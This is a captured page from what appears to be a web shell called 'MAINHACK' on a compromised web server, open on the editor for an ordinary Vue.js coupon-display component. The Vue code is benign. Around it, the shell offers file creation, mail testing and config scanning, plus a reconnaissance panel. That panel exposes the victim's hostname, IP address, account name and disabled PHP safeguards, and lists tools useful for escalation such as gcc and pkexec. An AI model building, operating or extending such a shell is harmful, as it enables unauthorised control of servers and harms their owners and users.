[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CouponShowComponent.vue
<template> <LoadingComponent :props="loading" /> <div class="col-12"> <div class="db-card"> <div class="db-card-header"> <h3 class="db-card-title">{{ $t('label.coupon') }}</h3> </div> <div class="db-card-body"> <div class="row"> <div class="col-12 sm:col-5"> <img class="db-image" alt="coupon" :src="coupon.image"> </div> <div class="col-12 sm:col-7 md:pl-8"> <ul class="db-list single"> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.name') }}</span> <span class="db-list-item-text">{{ coupon.name }}</span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.code') }}</span> <span class="db-list-item-text">{{ coupon.code }}</span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.discount') }}</span> <span class="db-list-item-text">{{ coupon.flat_discount }}</span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.discount_type') }}</span> <span class="db-list-item-text"> {{ enums.taxTypeEnumArray[coupon.discount_type] }} </span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.start_date') }}</span> <span class="db-list-item-text">{{ coupon.convert_start_date }}</span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.end_date') }}</span> <span class="db-list-item-text">{{ coupon.convert_end_date }}</span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.minimum_order') }}</span> <span class="db-list-item-text">{{ coupon.minimum_order_flat_amount }}</span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.maximum_discount') }}</span> <span class="db-list-item-text">{{ coupon.maximum_flat_discount }}</span> </li> <li class="db-list-item"> <span class="db-list-item-title">{{ $t('label.limit_per_user') }}</span> <span class="db-list-item-text" v-if="coupon.limit_per_user == 0">{{ $t('label.unlimited') }}</span> <span class="db-list-item-text" v-else>{{ coupon.limit_per_user }}</span> </li> </ul> </div> </div> </div> </div> </div> </template> <script> import LoadingComponent from "../components/LoadingComponent"; import alertService from "../../../services/alertService"; import appService from "../../../services/appService"; import taxTypeEnum from "../../../enums/modules/taxTypeEnum"; export default { name: "CouponShowComponent", components: { LoadingComponent }, data() { return { loading: { isActive: false }, enums: { taxTypeEnum: taxTypeEnum, taxTypeEnumArray: { [taxTypeEnum.FIXED]: this.$t("label.fixed"), [taxTypeEnum.PERCENTAGE]: this.$t("label.percentage"), }, } } }, computed: { coupon: function () { return this.$store.getters['coupon/show']; } }, mounted() { this.loading.isActive = true; this.$store.dispatch('coupon/show', this.$route.params.id).then(res => { this.loading.isActive = false; }).catch((error) => { this.loading.isActive = false; }); }, methods: { taxTypeClass: function (status) { return appService.taxTypeClass(status); }, } } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002